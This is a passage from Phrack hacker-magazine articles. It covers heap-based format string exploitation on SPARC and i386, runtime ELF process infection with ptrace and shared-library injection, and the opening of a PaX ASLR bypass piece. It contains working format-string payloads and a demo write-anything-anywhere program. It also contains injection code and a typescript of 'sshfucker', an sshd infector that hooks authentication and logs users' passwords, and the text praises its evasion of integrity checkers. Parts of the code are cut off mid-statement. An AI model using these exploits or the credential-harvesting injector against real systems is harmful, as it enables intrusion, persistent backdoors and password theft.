  [ Note: We are not going to find always 2 pointers that point to the same
address, though it is not rare. ]

  So, our format string should look like this:

  '%8x' * 8 +     # pop the 8 registers 'l'
  '%8x' * 5 +     # pop the first 5 registers 'i'
  '%4640d'  +     # modify the length of my format string (4640 is 0x1220)
  '%n'            # I write where fp is pointing (which is frame 1's l0)
  '%3530d'  +     # again, I modify the length of the format string
  '%hn'           # and I write again, but only the hi part this time!

  And we would get the following:
          frame 0              frame 1 
         [  l0   ]     +----> [ 0x20001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...   
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...   
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]     |      [  i7   ]
         [ temp 1] ----+      [ temp 1]
                              [ temp 2]

--[ 7.3. example 3

  In the case that we only have 1 pointer, we can get the same result by
using the 'direct parameter access' in the format string, with
%argument_number$, where 'argument_number' is a number between 0 and 30
(in Solaris).

  My format string should be the following:
    '%4640d' +  # change the length
    '%15$n'  +  # I write where argument 15 is pointing (arg 15 is fp!)
    '%3530d' +  # change the length again
    '%15$hn'    # write again, but only the hi part!

  Therefore, we would arrive at the same result:

          frame 0              frame 1 
         [  l0   ]     +----> [ 0x20001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...   
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...   
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]            [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]

--[ 7.4. example 4

  But it could well happen that I don't have 2 pointers that point to the
same address in the stack, and the first address that points to the stack
is outside the scope of the first 30 arguments. What could I then do ?

  Remember that with plain '%n', you can write very large numbers, like
0x00028000 and higher. You should also keep in mind that the binary's PLT
is usually located in very low addresses, like 0x0002????. So, with just
one pointer that points to the stack, you can get a pointer that points to
the binary's PLT.

  I don't believe a graphic is necessary in this example.

--[ 8. builind the 4-bytes-write-anything-anywhere primitive

--[ 8.1. example 5

  In order to get a 4-bytes-write-anything-anywhere primitive we should
repeat what was done with the stack frame 0, and do it again for another
stack frame, like frame 1. Our result should look something like the

      frame 0              frame 1               frame 2
     [  l0   ]     +----> [0x00029e8c]   +----> [0x00029e8e]
     [  l1   ]     |      [  l1   ]      |      [  l1   ]
        ...        |         ...         |         ...   
     [  l7   ]     |      [  l7   ]      |      [  l7   ]
     [  i0   ]     |      [  i0   ]      |      [  i0   ]
     [  i1   ]     |      [  i1   ]      |      [  i1   ]
        ...        |         ...         |         ...   
     [  i5   ]     |      [  i5   ]      |      [  i5   ]
     [  fp   ] ----+      [  fp   ]  ----+      [  fp   ]
     [  i7   ]            [  i7   ]      |      [  i7   ]
     [ temp 1]            [ temp 1]      |
                          [ temp 2]  ----+
                          [ temp 3]

  [Note: As long as the code we want to change is located in 0x00029e8c ]

  So, now that we have 2 pointers, one that points to 0x00029e8c and
another that points to 0x00029e8e, we have finally achieved our goal! Now,
we can exploit this situation just like any other format string
vulnerability :)

  The format string will look like this:

    '%4640d' +  # change the length
    '%15$n'  +  # with 'direct parameter access' I write the lower part
                # of frame 1's l0
    '%3530d' +  # change the length again
    '%15$hn' +  # overwrite the higher part
    '%9876d' +  # change the length
    '%18$hn' +  # And write like any format string exploit!

    '%8x' * 13+ # pop 13 arguments (from argument 15)
    '%6789d' +  # change length
    '%n'     +  # write lower part
    '%8x'    +  # pop
    '%1122d' +  # modify length
    '%hn'    +  # write higher part
    '%2211d' +  # modify length
    '%hn'       # And write, again, like any format string exploit.

  As you can see, this was done with just one format string. But this is
not always possible. If we can't build 2 pointers, what we need to do, is
to abuse the format string twice.

  First, we build a pointer that points to 0x00029e8c. Then, we overwrite
the value that 0x00029e8c points to with '%hn'.
  The second time in which we abuse of the format string, we do the same as
we did before, but with a pointer to 0x00029e8e. There is no real need for
two pointers (0x00029e8c and 0x00029e8e), as writing first the lower part
with %n and then the higher part with %hn will work, but you'll have to use
the same pointer twice, only possible with direct parameter access.

--[ 9. the i386 stack 

  We can also, exploit a heap based format strings in the i386 arquitecture
using a very similar technique. Lets see how the i386 stack works.

        frame 0        frame 1        frame 2        frame 3
       [  ebp  ] ---> [  ebp  ] ---> [  ebp  ] ---> [  ebp  ]
       [       ]      [       ]      [       ]      [       ]
       [       ]      [       ]      [       ]      [       ]
       [ ...   ]      [ ...   ]      [ ...   ]      [ ...   ]

  As you can see, i386's stack is very similar to SPARC's, the main
difference is that all the addresses are stored in little-endian format.

         frame0           frame1
        [ LSB | MSB ] ---> [ LSB | MSB ] 
        [           ]      [           ] 

  So, the trick we were using in SPARC of overwriting address's LSB
with '%n', and then overwriting its MSB with '%hn' with just one pointer
won't work in this architecture.

  We need an additional pointer, pointing to MSB's address, in order to
change it. Something like this:

                    |                            |
                    |                            V
       [LSB | MSB]  |   [LSB | MSB] ---> [LSB | MSB]
       [         ]  |   [         ]      [         ]
       [         ] -+   [         ]      [         ]
       [  ...    ]      [   ...   ]      [   ...   ]
         Frame B          Frame C          Frame D

  Heh! as you probably guessed, this is not very common on everyday stacks,
so, what we are going to do, is build the pointers we need, and then, of
course, use them.

  Warning! We just found out that this technique does not work on latest
Linuxes, we are not even sure if works on any (it depends on libc/glibc
version), but we know it works, at least, on OpenBSD, FreeBSD and Solaris

--[ 9.1. example 6

  This trick will need an aditional frame... latter we'll try to get rid
of as many frames as possible.
                                 |                            |
                                 |                            V
   [LSB | MSB] ---> [LSB | MSB] -+   [LSB | MSB] ---> [LSB | MSB]
   [         ]      [         ]      [         ]      [         ]
   [         ]      [         ]      [         ]      [         ]
   [  ...    ]      [  ...    ]      [   ...   ]      [   ...   ]
     Frame A          Frame B          Frame C          Frame D

  Frame A has a pointer to Frame B. Specifically, it's pointing to Frame
B's ebp. So we can modify the LSB of Frame B's ebp, with an '%hn'. And that
is what we wanted!. Now Frame B is not pointing to Frame C, but to the MSB
of Frame D's ebp.

  We are abusing the fact that ebp is already pointing to the stack, and we
assume that changing its 2 LSB will be enough to make it point to another
frame's saved ebp. There may be some problems with this (if Frame D is
not on the same 64k "segment" of Frame C), but we'll get rid of this
problem in the following examples.

  So with 4 stack frames, we could build one pointer in the stack, and with
that pointer we could write 2 bytes anywhere in memory. If we have 8 stack
frames we could repeat the process and build 2 pointers in the stack,
allowing us to write 4 bytes anywhere in memory.

--[ 9.2. example 7 - the pointer generator

  There are cases where you don't have 8 (or 4) stack frames. What can we
do then? Well, using direct parameter access, we could use just 3 stack
frames to do everything, and not only a 4-bytes-write-anything-anywhere
primitive but almost a full write-anything-anywhere primitive.

Lets see how we can do it, heavily abusing direct parameter access,
our target? to build the address 0xdfbfddf0 in the stack, so we can use it
latter with another %hn to write there.

step 1:

  Frame B's saved frame pointer (saved ebp) is already pointing to Frame
C's saved ebp, so, the first thing we are going to do is change Frame's C

         [ LSB | MSB ] ---> [ LSB | MSB ] ---> [ LSB | MSB ]
         [           ]      [           ]      [           ]
         [           ]      [           ]      [           ]
         [   ...     ]      [    ...    ]      [    ...    ]
            Frame A            Frame B            Frame C
  Since we know where in the stack is Frame B, we could use direct
parameter access to access parameters out of order... and probably not
just once. Latter we'll see how to find the direct parameter access number
we need, right now lets just assume Frame B's is 14.

                 # step 1
    '%.56816u' + # change the length (we want to write 0xddf0)
    '%14$hn'   + # Write where argument 14 is pointing
                 # (arg 14 is Frame B's ebp)

  What we get is a modified Frame C's ebp.

step 2:
         [ LSB | MSB ] ---> [ LSB | MSB ] ---> [ ddf0| MSB ]
         [           ]      [           ]      [           ]
         [           ]      [           ]      [           ]
         [   ...     ]      [    ...    ]      [    ...    ]
            Frame A            Frame B            Frame C

  As Frame A's ebp is already pointing to Frame B's ebp, we can use it to
change the LSB of Frame B's ebp, and as it is already pointing to Frame C's
ebp's LSB we can make it point to Frame C's ebp's MSB, we won't have the
64k segments problem this time, as Frame C's ebp's LSB must be in the same
segment as its MSB, as it's always 4 bytes aligned... I know it's
  For example if Frame C is at 0xdfbfdd6c, we will want to make Frame B's
ebp to point to 0xdfbfdd6e, so we can write target address' MSB.

                # step 2
    '%.65406u'+ # we want to write 0xdd6e (65406 = 0x1dd6e-0xddf0)
    '%6$hn'   + # Write where argument 6 is pointing
                # (assuming arg 6 is Frame A's ebp)

step 3:
                                            |          V
         [ LSB | MSB ] ---> [ dd6e| MSB ] --+  [ ddf0| MSB ]
         [           ]      [           ]      [           ]
         [           ]      [           ]      [           ]
         [   ...     ]      [    ...    ]      [    ...    ]
            Frame A            Frame B            Frame C

  The new Frame B points to the MSB of the Frame C's ebp. And now, with 
another direct parameter access, we build the MSB of the address that we
were looking for.

                # step 3
    '%.593u'  + # we want to write 0xdfbf (593 = 0xdfbf - 0xdd6e)
    '%14$n'   + # Write where argument 14 is pointing
                # (arg 14 is Frame B's ebp)

our result:
                                            |          V
         [ LSB | MSB ] ---> [ dd6e| MSB ] --+  [ ddf0| dfbf]
         [           ]      [           ]      [           ]
         [           ]      [           ]      [           ]
         [   ...     ]      [    ...    ]      [    ...    ]
            Frame A            Frame B            Frame C

  As you can see, we have our pointer in Frame C's ebp, now we could use it
to write 2 bytes anywhere in memory. This won't be enough normally to make
an exploit, but we could use the same trick, USING THESE 3 STACK FRAMES
AGAIN, to build another pointer (and another, and another...)
Hey, we've found a pointer generator :-) with only 3 stack frames.

  Got the theory? let's put all this together in an example.

  The following code will use 3 frames (A,B,C) and multiple parameters
access to write the value 0xaabbccdd to the address 0xdfbfddf0. It was
tested on an OpenBSD 3.0, and can be tried on other systems.  We'll show
you here how to tune it to your box.

  /* fs2.c                                                   *
   * demo program to show format strings techinques          *
   * specially crafted to feed your brain by */

  do_printf(char *msg) {
  #define FrameC 0xdfbfdd6c
  #define counter(x)      ((a=(x)-b),(a+=(a<0?0x10000:0)),(b=(x)),a) 
  char *write_two_bytes(
      unsigned long where, 
      unsigned short what, 
      int restoreFrameB)
    static char buf[1000]={0};    // enough? sure! :)
    static int a,b=0;
    if (restoreFrameB)
      sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff)));
    sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where & 0xffff));
    sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff) + 2));
    sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where >> 0x10));
    sprintf(buf, "%s%%.%du%%29$hn", buf, counter(what));
    return buf;
  int main() {
    char *buf;
    buf = write_two_bytes(0xdfbfddf0,0xccdd,0);
    buf = write_two_bytes(0xdfbfddf2,0xaabb,1);

  The values you'll need to change are:

    %6$         number of parameter for Frame A's ebp
    %14$        number of parameter for Frame B's ebp
    %29$        number of parameter for Frame C's ebp
    0xdfbfdd6c  address of Frame C's ebp

  To get the right values:

gera@vaiolent> cc -o fs fs.c
gera@vaiolent> gdb fs
(gdb) br do_printf
(gdb) r
(gdb) disp/i $pc
(gdb) ni
(gdb) p "run until you get to the first call in do_printf"
(gdb) ni
1: x/i $eip  0x17a4 <do_printf+12>:     call   0x208c <_DYNAMIC+140>
(gdb) bt
#0  0x17a4 in do_printf ()
#1  0x1968 in main ()
(gdb) x/40x $sp
0xdfbfdcf8:     0x000020d4      0xdfbfdd70      0xdfbfdd00      0x0000195f
0xdfbfdd08:     0xdfbfddf2      0x0000aabb     [0xdfbfdd30]--+ (0x00001968)
0xdfbfdd18:     0x000020d4      0x0000ccdd      0x00000000   |  0x00001937
0xdfbfdd28:     0x00000000      0x00000000   +-[0xdfbfdd6c]<-+  0x0000109c
0xdfbfdd38:     0x00000001      0xdfbfdd74   |  0xdfbfdd7c      0x00002000
0xdfbfdd48:     0x0000002f      0x00000000   |  0x00000000      0xdfbfdff0
0xdfbfdd58:     0x00000000      0x0005a0c8   |  0x00000000      0x00000000
0xdfbfdd68:     0x00002000     [0x00000000]<-+  0x00000001      0xdfbfddd4
0xdfbfdd78:     0x00000000      0xdfbfddeb      0xdfbfde04      0xdfbfde0f
0xdfbfdd88:     0xdfbfde50      0xdfbfde66      0xdfbfde7e      0xdfbfde9e

  Ok, time to start getting the right values. First, 0x1968 (from previous
'bt' command) is where do_printf() will return after finishing, locate it
in the stack (in this example it's at 0xdfbfdd14). The previous word is
where Frame A starts, and is where Frame A's ebp is saved, here it's
  Great! now we need the direct parameter access number for it, so, as we
executed up to the call, the first word in the stack is the first argument
for printf(), numbered 0. If you count, starting from 0, up to Frame A's
ebp, you'll count 6 words, that's the number we want.
  Now, locate where Frame A's ebp is pointing to, that's Frame B's ebp,
here 0xdfbfdd6c. Count again, you'll get 14, 2nd value needed. Cool, now
Frame B's saved ebp is ponting to Frame C's ebp, so, we already have
another value: 0xdfbfdd6c. And to get the last number needed, you need to
count again, until you get to Frame C's ebp (count until you get to the
address 0xdfbfdd6c), you should get 29.

  Now edit your fs.c, compile it, gdb it, and run past the call (one more
'ni'), you should see a lot of zeros and then:

(gdb) x/x 0xdfbfddf0
0xdfbfddf0:     0xaabbccdd

  Apparently it does work after all :-)

  There are some interesting variants. In this example, printf() is not
called from main(), but from do_printf(). This is an artifact so we had 3
frames to play with. If the printf() is directly in main(), you will not
have three frames, but you could do just the same using argv and *argv, as
the only real things you need are a pointer in the stack, pointing to
another pointer in the stack pointing somewhere in the stack.

  Another interesting method (probably even more interesting than the
original), is to target not a function pointer but a return address in
stack.  This method will be a lot shorter (just 2 %hn per short to write,
and only 2 frames needed), a lot of addresses could be bruteforced at the
same time, and of course, you could use a jumpcode if you want.

  This time We'll leave the experimentation with this two variantes (and
others) to the reader.

  It is noteworthy, that with this technique in i386, Frame B breaks the
chain of the stack frames, so if the program you're exploiting needs to use
Frame C, it's probably that it will segfault, hence you'll need to hook the
execution flow before the crash.

--[ 10. conclusions

--[ 10.1. is it dangerous to overwrite the l0 (on the stack frame) ?

  This is not perfect, but practice shows that you will not have many
problems in changing the value of l0. But, would you be unlucky, you may
prefer to modify the l0's that belongs to main()'s and _start()'s stack

--[ 10.2. is it dangerous to overwrite the ebp (on the stack frame) ?

  Yes, it's very dangerous. Probably your program will crash. But as we
saw, you can restore the original ebp value using the pointer generator :-)
And as in the SPARC case, you may prefer to modify the ebp's that belongs
to the main(), _start(), etc, stack frames.

--[ 10.3. is this reliable ?

  If you know the state of the stack, or if you know the sizes of the stack
frames, it is reliable. Otherwise, unless the situation lets you implement
some smooth way of bruteforcing all the numbers needed, this technique
won't help you much.

  I think when you have to overwrite values that are located in addresses
that have zeros, this may be your only hope, since, you won't be able to
put a zero in your format string (because it will truncate your string).

  Also in SPARC, the binaries' PLT are located in low addresses and it is
more reliable to overwrite the binary's PLT than the libc's PLT. Why is
this so? Because, I would guess, in Solaris libc changes more frequently
than the binary that you want to exploit. And probably, the binary you want
to exploit will never change! 

--[ The End
--[ 11. more greets and thanks


    riq, for trying every stupid idea I have and making it real!

    juliano, for being our format strings guru.

    Impact, for forcing me to spend time thinking about all theese amazing

    last minute addition: I just learned of the existence of a library
    called fmtgen, Copyrighted by fish stiqz. It's a format string
    construction library, and it can be used (as suggested in its Readme),
    to write jumpcodes or even shellcodes as well as addresses. This are
    the last lines I'm adding to the article, I wish I had a little more
    time, to study it, but we are in a hurry, you know :-)

    gera, for finding out how to exploit the heap based format strings in
    i386, for his ideas, suggestions and fixes.

    juliano, for letting me know that I can overwrite, as may times as I
    want an address using 'direct access', and other tips about format

    javier, for helping me in SPARC.

    bombi, for trying her best to correct my English.

    and bruce, for correcting my English, too.

--[ 12. references

[1] Exploiting Format String Vulnerability, scut's. 
    March 2001.

[2] w00w00 on Heap Overflows, Matt Conover (shok) and w00w00 Security Team.
    January 1999.

[3] Juliano's badc0ded

[4] Google the oracle.

|=[ EOF ]=---------------------------------------------------------------=|


                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x08 of 0x12

|=--------------------=[ Runtime Process Infection ]=--------------------=|
|=---------------=[ anonymous <> ]=--------------=|

--[ Contents

  1 - Introduction
  2 - ptrace() - Linux debugging API
  3 - resolving symbols
  4 - plain asm code injection - old fashioned way
  5 - .so injection - easy way
  6 - A brief note about shared lib redirection
  7 - Conclusion

  8 - References

  A - Appendix - sshfucker: runtime sshd infector

--[ 1 - Introduction

The purpose of this article is to introduce a couple of methods for
infecting binaries on runtime, and even though there are many other
possible areas of use for this technique, we will mainly focus on a bit
more evil things, such as backdooring binaries. However, this is not
supposed to be ELF tutorial nor guide to linking. The reader is assumed to
be somewhat familiar with ELF. Also, this article is strictly x86 linux
specified, even though the same techniques and methods could be easily
ported to other platforms as well.

--[ 2 - ptrace() - Linux debugging API

Linux offers one simple function for playing with processes, and it can do
pretty much everything we need to do. We will not take a more indepth look
at ptrace() here, since its quite simple and pretty much all we need to
know can be found on the man page. However we will introduce a couple of
helper functions to make working with ptrace() easier.

/* attach to pid */

	ptrace_attach(int pid)
		if((ptrace(PTRACE_ATTACH , pid , NULL , NULL)) < 0) {

		waitpid(pid , NULL , WUNTRACED);

/* continue execution */

	ptrace_cont(int pid)
		if((ptrace(PTRACE_CONT , pid , NULL , NULL)) < 0) {

		while (!WIFSTOPPED(s)) waitpid(pid , &s , WNOHANG);

/* detach process */

	ptrace_detach(int pid)
		if(ptrace(PTRACE_DETACH, pid , NULL , NULL) < 0) {

/* read data from location addr */

	void *
	read_data(int pid ,unsigned long addr ,void *vptr ,int len)
		int i , count;
		long word;
		unsigned long *ptr = (unsigned long *) vptr;

		count = i = 0;
		while (count < len) {
			word = ptrace(PTRACE_PEEKTEXT ,pid ,addr+count, \
			count += 4;
			ptr[i++] = word;

/* write data to location addr */	

	write_data(int pid ,unsigned long addr ,void *vptr,int len)
        	int i , count;
        	long word;

		i = count = 0;

		while (count < len) {
			memcpy(&word , vptr+count , sizeof(word));
			word = ptrace(PTRACE_POKETEXT, pid , \
				addr+count , word);
			count +=4;

--[ 3 - resolving symbols

As long as we are planning any kind of function intercepting/modifying, we
need ways to locate some certain functions in the binary. For now we are
gonna use link-map for that. link_map is dynamic linkers internal structure
with which it keeps track of loaded libraries and symbols within libraries.
Basicly link-map is a linked list, each item on list having a pointer to
loaded library. Just like dynamic linker does when it needs to find symbol,
we can travel this list back and forth, go through each library on the list
to find our symbol. the link-map can be found on the second entry of GOT
(global offset table) of each object file. It is no problem for us to read
link-map node address from the GOT[1] and start following linkmap nodes
until the symbol we wanted has been found.

from link.h:

	struct link_map
	    ElfW(Addr) l_addr;  /* Base address shared object is loaded */
	    char *l_name;  /* Absolute file name object was found in.  */
	    ElfW(Dyn) *l_ld;  /* Dynamic section of the shared object.  */
	    struct link_map *l_next, *l_prev; /* Chain of loaded objects.*/

The structure is quite self-explaining, but here is a short explanation of
all items anyway:

l_addr: Base address where shared object is loaded. This value can also be
	found from /proc/<pid>/maps

l_name: pointer to library name in string table

l_ld: pointer to dynamic (DT_*) sections of shared lib

l_next: pointer to next link_map node

l_prev: pointer to previous link_map node

The idea for symbol resolving with the link_map struct is simple. We
traverse throu link_map list, comparing each l_name item until the library
where our symbol is supposed to reside is found. Then we move to l_ld
struct and traverse throu dynamic sections until DT_SYMTAB and DT_STRTAB
have been found, and finally we can seek our symbol from DT_SYMTAB. This
can be quite slow, but should be fine for our example. Using HASH table for
symbol lookup would be faster and preferred, but that is left as exercise
for the reader ;D.

Let's look at some of the functions making life more easy with the
link_map. The below code is based on grugq's code on  his ml post[1], altered
to use ptrace() for resolving in another process address space:

/* locate link-map in pid's memory */

struct link_map *
locate_linkmap(int pid)
	Elf32_Ehdr      *ehdr   = malloc(sizeof(Elf32_Ehdr));
	Elf32_Phdr      *phdr   = malloc(sizeof(Elf32_Phdr));
	Elf32_Dyn       *dyn    = malloc(sizeof(Elf32_Dyn));
	Elf32_Word      got;
	struct link_map *l      = malloc(sizeof(struct link_map));
	unsigned long   phdr_addr , dyn_addr , map_addr;

	/* first we check from elf header, mapped at 0x08048000, the offset
	 * to the program header table from where we try to locate
	 * PT_DYNAMIC section.

	read_data(pid , 0x08048000 , ehdr , sizeof(Elf32_Ehdr));

	phdr_addr = 0x08048000 + ehdr->e_phoff;
	printf("program header at %p\n", phdr_addr);

	read_data(pid , phdr_addr, phdr , sizeof(Elf32_Phdr));

	while ( phdr->p_type != PT_DYNAMIC ) {
		read_data(pid, phdr_addr += sizeof(Elf32_Phdr), phdr, \

	/* now go through dynamic section until we find address of the GOT

	read_data(pid, phdr->p_vaddr, dyn, sizeof(Elf32_Dyn));
	dyn_addr = phdr->p_vaddr;

	while ( dyn->d_tag != DT_PLTGOT ) {
		read_data(pid, dyn_addr += sizeof(Elf32_Dyn), dyn,\ 

	got = (Elf32_Word) dyn->d_un.d_ptr;
	got += 4; 		/* second GOT entry, remember? */

	/* now just read first link_map item and return it */
	read_data(pid, (unsigned long) got, &map_addr , 4);
	read_data(pid , map_addr, l , sizeof(struct link_map));


	return l;

/* search locations of DT_SYMTAB and DT_STRTAB and save them into global
 * variables, also save the nchains from hash table.

unsigned long   symtab;
unsigned long   strtab;
int             nchains;

resolv_tables(int pid , struct link_map *map)
	Elf32_Dyn       *dyn    = malloc(sizeof(Elf32_Dyn));
	unsigned long   addr;

	addr = (unsigned long) map->l_ld;

	read_data(pid , addr, dyn, sizeof(Elf32_Dyn));

	while ( dyn->d_tag ) {
		switch ( dyn->d_tag ) {

			case DT_HASH:
				read_data(pid,dyn->d_un.d_ptr +\
					&nchains , sizeof(nchains));

			case DT_STRTAB:
				strtab = dyn->d_un.d_ptr;

			case DT_SYMTAB:
				symtab = dyn->d_un.d_ptr;


		addr += sizeof(Elf32_Dyn);
		read_data(pid, addr , dyn , sizeof(Elf32_Dyn));


/* find symbol in DT_SYMTAB */

unsigned long
find_sym_in_tables(int pid, struct link_map *map , char *sym_name)
	Elf32_Sym       *sym = malloc(sizeof(Elf32_Sym));
	char            *str;
	int             i;

	i = 0;

	while (i < nchains) {
		read_data(pid, symtab+(i*sizeof(Elf32_Sym)), sym,

		if (ELF32_ST_TYPE(sym->st_info) != STT_FUNC) continue;

		/* read symbol name from the string table */
		str = read_str(pid, strtab + sym->st_name);

		if(strncmp(str , sym_name , strlen(sym_name)) == 0)

	/* no symbol found, return 0 */
	return 0;

We use nchains (number of items in chain array) stored from DT_HASH to
check how many symbols each lib has so we know where to stop reading in
case the wanted symbol is not found.

--[ 4 - plain asm code injection - old fashioned way

We are gonna skip this part because of lack of time and interest. Simple
pure-asm code injectors have been around for quite sometime already, and
techniq is probably already clear, since it just really is poking opcodes
into process memory, overwriting old data, allocating space with sbrk() or
finding space otherwhere for own code. However, there is another method
with which you do not have to worry about finding space for your code
(atleast when playing with dynamically linked binaries) and we are coming
to it next.

--[ 5 - .so injection - easy way

Instead of injecting pure asm code we could force the process to load our
shared library and let the runtime dynamic linker to do all dirty work for
us. Benefits of this is the simplicity, we can write the whole .so with
pure C and call external symbols. libdl offers a programming interface to
dynamic linking loader, but a quick look to libdl sources show us that
dlopen() , dlsym() and dlclose() are quite much just wrapper functions with
some extra error checking, while the real functions are residing in libc.
here's the prototype to _dl_open() from glibc-2.2.4/elf/dl-open.c:

	void *
	_dl_open (const char *file, int mode, const void *caller);

Parameters are pretty much the same as in dlopen(), having only one 'extra'
parameter *caller, which is pointer to calling routine and its not really
important to us and we can safely ignore it. We will not need other dl*
functions now either.

So, we know which function we can be used to load our shared library, and
now we could write a small asm code snippet which calls _dl_open() and
loads our lib and thats exactly what we are gonna do. One thing to remember
is that _dl_open() is defined as an 'internal_function', which means the
function parameters are passed in slightly different way, via registers
instead of stack. See the parameters order here:

	EAX = const char *file
	ECX = const void *caller (we set it to NULL)
	EDX = int mode (RTLD_LAZY)

Asset with this information, we will introduce our tiny .so loader code:

	_start:	jmp string

	begin:	pop 	eax			; char *file
		xor	ecx	,ecx		; *caller
		mov 	edx	,0x1		; int mode

		mov	ebx,	0x12345678	; addr of _dl_open()
		call	ebx			; call _dl_open!
		add	esp,	0x4

		int3				; breakpoint

	string: call begin
		db "/tmp/",0x00

With good'old aleph1-style trick we make our loader position independent
(well it actually does not have to be, since we can place it anywhere we
want to). We also place int3 after 'call' so process stops execution there
and we can overwrite our loader with backed up, orginal code again.
_dl_open()  address is not known yet, but we can easily patch it into code

  A cleaner way would be getting the registers with ptrace(pid,
PTRACE_GETREGS,...) and write the parameters to user_regs_struct structure,
store libpath string in the stack and inject plain int 0x80 and int3, but
it is really just a matter of taste and lazyness how you do this. About
.so injection, this obviously will not work with staticly compiled binaries
since static binaries do not even have dynamic linker loaded. For such
binaries one has to think of something else, maybe plain-asm code injection
or something. Another disadvantage of injecting shared objects is that it
can be easily noticed by peeking into /proc/<pid>/maps. Though one can use
lkm's / kmem patching to hide them, or maybe infecting existing already
loaded libs with new symbols and then forcing to reload them. However, if
anyone has good ideas how to solve these problems, I would like to hear
about them.

--[ 6 - A brief note about shared lib redirection

For runtime infection, function redirection is prolly the most obvious
thing to do. Like Silvio Cesare showed us on his paper [2], PLT (Procedure
Linkage Table) is prolly the cleanest and easiest way to do this. Getting
our hands on executable's PLT via the linkmap is easy, the very first node
of the link_map list has pointers to executables dynamic sections, and from
there we can look for DT_SYMTAB section (just as we do with all objects),
executables DT_SYMTAB entries are in fact part of the PLT. Redirection is
done by placing jumps into the corresponding function entries on the PLT,
to our functions in .so what we loaded.

--[ 7 - Conclusion

Runtime infection is a quite interesting technique indeed. It does not only
pass pax, openwall and other such kernel patches, but tripwire and other
file integrity checkers as well. As a demonstration of runtime infection
abilities I have included little sshd-infector at the end of this article.
It is capable of snooping crypt(), PAM and md5 passwords of users logged
via sshd. See Appendix A.

--[ 8 - References
[1] More elf buggery, bugtraq post, by grugq

[2] Shared lib redirection by Silvio Cesare

    Subversive Dynamic Linking, by grugq

    Shaun Clowes's Blackhat 2001 presentation slides

    Tool Interface Standard (TIS) Executable and Linking Format Specification

    ptrace(2) man page

--[ Appendix A - sshfucker: runtime sshd infector

     sshf typescript:

root@:/tmp> tar zxvf sshf.tgz
root@:/tmp> cd sshf
root@:/tmp/sshf> ./configure ; make
checking for gcc... gcc
checking for C compiler default output... a.out
checking whether the C compiler works... yes
checking whether we are cross compiling... no
checking for executable suffix...
checking for object suffix... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for pam_start in -lpam... yes
checking for MD5_Update in -lcrypto... yes
configure: creating ./config.status
config.status: creating Makefile
config.status: creating config.h
gcc -w -fPIC -shared -o evilsshd.c -lcrypt -lcrypto -lpam  
gcc -w -o sshf sshf.c
root@:/tmp/sshf> ps auwx | grep sshd
root      9597  0.0  0.3  2840 1312 ?        S    03:04   0:00 sshd
root@:/tmp/sshf> ./sshf 9597 /tmp/sshf/
attached to pid 9597
_dl_open at 0x4023014c
stopped 9597 at 0x402017ee
jam! if it jams here, try to telnet into sshd port or smthing
lib injection done!
org crypt() at 0x804b860, evil crypt at 0x40265d60
org getspnam at 0x804afa0, evil getspnam at 0x40265e0c
org strncmp() at 0x804b8f0, evil strncmp() at 0x40265a84
org MD5_Update() at 0x804bdf0, evil MD5Update at 0x40265aec
all done, now quiting...
root@:/tmp/sshf> ssh -l luser
luser@'s password:
[luser@localhost:~>ls -al /tmp/.sshd_passwordz
-rw-r--r--    1 root     root          104 Jul 14 03:27 



begin 644 sshf.tgz


                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x09 of 0x12

|=------------------=[ Bypassing PaX ASLR protection ]=------------------=|
|=--------------=[ Tyler Durden <> ]=------------=|

 0. Introduction
    a. What is PaX and what it does
    b. Known attacks against old PaX implems
    c. What changed since ret-into-dl-resolve()

 1. What you ever wanted to know about PaX
    a. Paging basics
    b. PaX foundations (PAGEEXEC feature)
    c. Address Space Layout Randomization Layout (ASLR)
       - Stack ASLR
       - Libraries ASLR
       - Executable PT_LOAD double mapping technique
       - ET_EXEC to ET_DYN full relinking technique
    d. Last enforcements

 2. ASLR weaknesses
    a. EIP partial overwrite
    b. Generating information leaks

 3. Understanding the exploitation step by step
    a. Global flow understanding using gdb
    b. Examining the remote stack
    c. Verify printf relative offset using elfsh
    d. Guess functions and parameters absolute addresses

 4. Exploitation success conditions
    a. Looking for exploitable stack based overflows
    b. Looking for leak functions
    c. The frame pointer problem and workaround
    d. Discussion about segvguard

 5. The code
    a. Sample target
    b. ret-into-printf info leak code

 6. Referenced papers and projects

-------[ 0. Introduction

 [a] PaX, stands for PageEXec, is a linux kernel patch protection against
 buffer overflow attacks . It is younger than Openwall (PaX has been
 available for a year and a half now) and takes profit from the
 processor lowlevel paging mechanism in order to detect injected code
 execution . It also make return into libc exploits very hard to
 accomplish . This patch is very easy to use and can be downloaded
 on [1] , so as the tiny chpax tool used to configure PaX on a per
 file basis .

 For accomplishing its task, PaX hooks two OS mechanisms :

 - Refuse code execution on writable pages (PAX_PAGEEXEC option) .
 - Randomize mmap()'ed library base address to make return into libc
   harder .

 [b] Some years ago, Nergals came with his return into plt technique
 (ELF specific) allowing him to bypass the mmap() protection (implemented 
 in OpenWall [2] at this time) . The technique has been very well described
 in a recent paper [3] and wont be developped again in this article .

 [c] In the last months, the PaX team released, showing us how
 to relink executable (ET_EXEC ELF objects) into ET_DYN objects, so that
 the main object base address would also be randomized, and Nergal's
 return-into-plt attack blocked .

 Unfortunately, most people think it is a real pain to relink all sensible
 binaries . The PaX team decided to release a new version of the patch,
 accomplishing the same task without needing relinking .

 Since this patch represents the latest improvement concerning buffer
 overflow protection, a new study was necessary . We will demonstrate
 that in certain conditions, it is still possible to exploit stack based
 buffer overflows protected by PaX with all options actived, including
 the new ET_EXEC binary base address randomizing .

 We will show that we can reduce the problem to a standard return-into-libc
 exploitation . Heap overflows wont be developped, but it might also be
